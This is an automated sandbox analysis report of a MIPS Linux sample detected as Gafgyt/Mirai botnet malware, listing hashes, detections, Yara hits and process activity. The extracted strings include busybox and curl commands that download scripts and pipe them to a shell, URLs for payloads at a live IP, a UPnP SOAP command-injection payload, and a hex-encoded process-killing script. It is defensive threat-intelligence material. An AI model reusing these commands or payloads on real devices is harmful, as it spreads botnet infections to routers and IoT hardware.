Linux Analysis Report
bin.mips.elf

Overview

General Information

Sample name: bin.mips.elf
Analysis ID: 1538200
MD5: 9ec727bcc55f1fd2137490b7ae6f30b3
SHA1: 5d347471863a3ae0f37205d51f15c5143421bd4d
SHA256: 063ce37bee16d08ac364e527837d8de071ec0582dd073628445ec082b511301a
Tags: elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Gafgyt
Yara detected Mirai
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Bashlite, Gafgyt Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: bin.mips.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: bin.mips.elf ReversingLabs: Detection: 47%
Found strings indicative of a multi-platform dropper
Source: bin.mips.elf String: Killed process %d (path: %s) because it matched kill string "%s" in path_kill_strings.Killed process %d (command line: %s) because it matched kill string "%s" in cmdline_kill_strings./proc/%d/stat%dMUSHI_KILLER/proc/root/tmp/varcurlwgetftpscp
Source: bin.mips.elf String: /bin/busyboxenableshellshlinuxshellping ;shusage: busyboxreps.check-host.co/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: bin.mips.elf String found in binary or memory: http:///curl.sh
Source: bin.mips.elf String found in binary or memory: http:///wget.sh
Source: bin.mips.elf String found in binary or memory: http://178.215.238.13/bin.armv4l;chmod
Source: bin.mips.elf String found in binary or memory: http://178.215.238.13/bin.armv7l;chmod
Source: bin.mips.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: bin.mips.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 178.215.238.13 -l /tmp/.unstable -r /bin.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busyboxreps.check-host.co/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal80.troj.linELF@0/0@0/0
Enumerates processes within the "proc" file system
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/3640/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/3640/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/230/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/230/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/110/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/110/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/231/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/231/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/111/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/111/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/232/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/232/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/112/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/112/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/233/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/233/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/113/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/113/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/234/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/234/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/114/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/114/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/235/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/235/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/115/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/115/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/236/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/236/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/116/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/116/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/237/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/237/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/117/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/117/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/238/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/238/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/118/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/118/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/239/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/239/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/119/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/119/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/914/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/914/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/10/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/10/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/917/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/917/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/11/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/11/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/12/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/12/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/13/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/13/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/14/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/14/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/15/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/15/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/16/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/16/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/17/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/17/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/18/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/18/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/19/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/19/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/240/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/240/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/3095/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/3095/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/120/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/120/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/241/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/241/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/121/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/121/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/242/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/242/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/1/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/122/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/122/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/243/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/243/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/2/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/2/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/123/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/123/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/244/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/244/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/3/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/3/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/124/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/124/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/245/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/245/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/1588/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/1588/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/125/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/125/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/4/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/4/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/246/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/246/cmdline Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/126/stat Jump to behavior
Source: /tmp/bin.mips.elf (PID: 5458) File opened: /proc/126/cmdline Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/bin.mips.elf (PID: 5458) Queries kernel information via 'uname': Jump to behavior
Source: bin.mips.elf, 5458.1.000055b5077dd000.000055b5078a4000.rw-.sdmp, bin.mips.elf, 5482.1.000055b5077dd000.000055b507884000.rw-.sdmp, bin.mips.elf, 5484.1.000055b5077dd000.000055b507884000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: bin.mips.elf, 5458.1.000055b5077dd000.000055b5078a4000.rw-.sdmp, bin.mips.elf, 5482.1.000055b5077dd000.000055b507884000.rw-.sdmp, bin.mips.elf, 5484.1.000055b5077dd000.000055b507884000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: bin.mips.elf, 5458.1.00007fff94225000.00007fff94246000.rw-.sdmp, bin.mips.elf, 5482.1.00007fff94225000.00007fff94246000.rw-.sdmp, bin.mips.elf, 5484.1.00007fff94225000.00007fff94246000.rw-.sdmp Binary or memory string: #x86_64/usr/bin/qemu-mips/tmp/bin.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bin.mips.elf
Source: bin.mips.elf, 5458.1.00007fff94225000.00007fff94246000.rw-.sdmp, bin.mips.elf, 5482.1.00007fff94225000.00007fff94246000.rw-.sdmp, bin.mips.elf, 5484.1.00007fff94225000.00007fff94246000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information
barindex
Yara detected Gafgyt
Source: Yara match File source: bin.mips.elf, type: SAMPLE
Source: Yara match File source: 5484.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5482.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5458.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Yara detected Mirai
Source: Yara match File source: bin.mips.elf, type: SAMPLE
Source: Yara match File source: 5484.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5482.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5458.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: bin.mips.elf PID: 5458, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bin.mips.elf PID: 5482, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bin.mips.elf PID: 5484, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Gafgyt
Source: Yara match File source: bin.mips.elf, type: SAMPLE
Source: Yara match File source: 5484.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5482.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5458.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Yara detected Mirai
Source: Yara match File source: bin.mips.elf, type: SAMPLE
Source: Yara match File source: 5484.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5482.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5458.1.00007f96fc400000.00007f96fc43a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: bin.mips.elf PID: 5458, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bin.mips.elf PID: 5482, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bin.mips.elf PID: 5484, type: MEMORYSTR

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